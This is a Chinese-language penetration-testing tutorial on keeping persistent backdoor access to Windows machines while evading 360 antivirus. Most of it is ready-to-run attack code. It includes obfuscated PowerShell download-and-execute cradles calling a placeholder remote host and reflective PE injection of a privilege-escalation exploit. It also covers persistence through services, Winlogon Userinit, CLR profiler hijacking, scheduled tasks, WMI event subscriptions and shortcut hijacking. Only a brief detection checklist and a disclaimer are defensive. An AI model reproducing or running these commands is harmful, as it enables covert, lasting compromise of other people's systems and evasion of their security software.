内网渗透-windows持久性后门
字数 1177 2025-08-15 21:30:19
Windows持久性后门技术详解
一、前言
本文详细讲解在Windows系统上建立持久性后门的多种技术方法,包括绕过杀毒软件(以360为例)的技巧。这些技术在内网渗透中尤为重要,特别是在获得初始访问权限后维持长期控制。
二、环境准备
实验环境配置
- 操作系统:Windows 7 x64
- 安全防护:360安全卫士+360杀毒
- 初始权限:普通用户权限
- 系统补丁:仅安装3个补丁(模拟低安全性环境)
三、初始访问与免杀技术
1. PowerShell拆分免杀
使用PowerShell拆分技术绕过杀毒软件检测:
$c2 = 'IEX (New-Object Net.WebClient).Downlo'
$c3 = 'adString(''http://x.x.x.x/a'')'
$Text = $c2 + $c3
IEX(-join $Text)
2. C语言包装执行
将PowerShell命令嵌入C程序中编译为EXE:
#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo'; $c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}
四、权限提升技术
1. 绕过PowerShell限制
当powershell.exe被阻止时:
- 上传相同版本的powershell.exe到可写目录(如C:\Windows\Temp)
- 从该位置执行PowerShell
2. PowerShell提权
使用反射式PE注入执行提权EXP:
C:\Windows\Temp\powershell.exe -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/ps/cve-2018-8120.exe -ExeArgs 'C:\Windows\Temp\123.exe' -ForceASLR"
五、持久性后门技术
1. 系统服务后门
方法一:SC命令
sc create "nuoyan" binpath= "c:\accc.exe"
sc config "nuoyan" start= auto
方法二:PowerShell创建服务
$c2 = 'new-'
$c3 = 'service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:\accc.exe" –StartupType Automatic'
$Text = $c2 + $c3
IEX(-join $Text)
2. 注册表后门
2.1 Userinit注册表后门
修改用户登录时执行的程序:
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
2.2 CLR后门
劫持所有.NET程序执行:
- 设置环境变量:
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}"
- 修改注册表(32位系统):
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide32.dll" /f
3. 计划任务后门
创建登录时触发的计划任务:
schtasks.exe /Create /TN 主动防御 /TR c:\windows\temp\tide_ms.exe /SC ONLOGON /F /RL HIGHEST
4. DLL劫持后门
- 使用自动化工具生成恶意DLL
- 替换目标程序的DLL或修改导入表
- 当目标程序运行时自动加载恶意DLL
5. WMI事件后门
创建永久WMI事件订阅:
$fname = "cccc"
$cname = "cccc"
$CommandLineTemplate = "C:\Windows\temp\tide.exe"
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name=$fname;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null
6. 快捷方式劫持
- 修改目标程序快捷方式指向恶意EXE
- 恶意EXE同时启动原程序和木马
示例C代码:
#include <stdio.h>
#include <stdlib.h>
int main(){
system("\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox1.exe\"");
system("C:\\Windows\\Temp\\tide.exe");
return 0;
}
六、绕过杀毒软件技巧
- PowerShell拆分:将敏感命令拆分为多个变量再组合执行
- 自定义PowerShell路径:上传powershell.exe到非标准目录
- 反射加载:使用反射式PE注入避免文件落地
- 时间延迟:设置WMI事件在系统启动后一段时间触发
- 合法程序伪装:修改图标和资源信息使恶意程序看起来合法
七、检测与清理
- 使用Autoruns检查WMI事件订阅
- 检查注册表常见后门位置:
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
- HKCU\Environment下的COR_*键值
- 审查计划任务
- 检查系统服务中的可疑项
- 使用Process Monitor监控异常进程创建
八、参考资源
本技术文档仅用于安全研究和防御目的,请勿用于非法用途。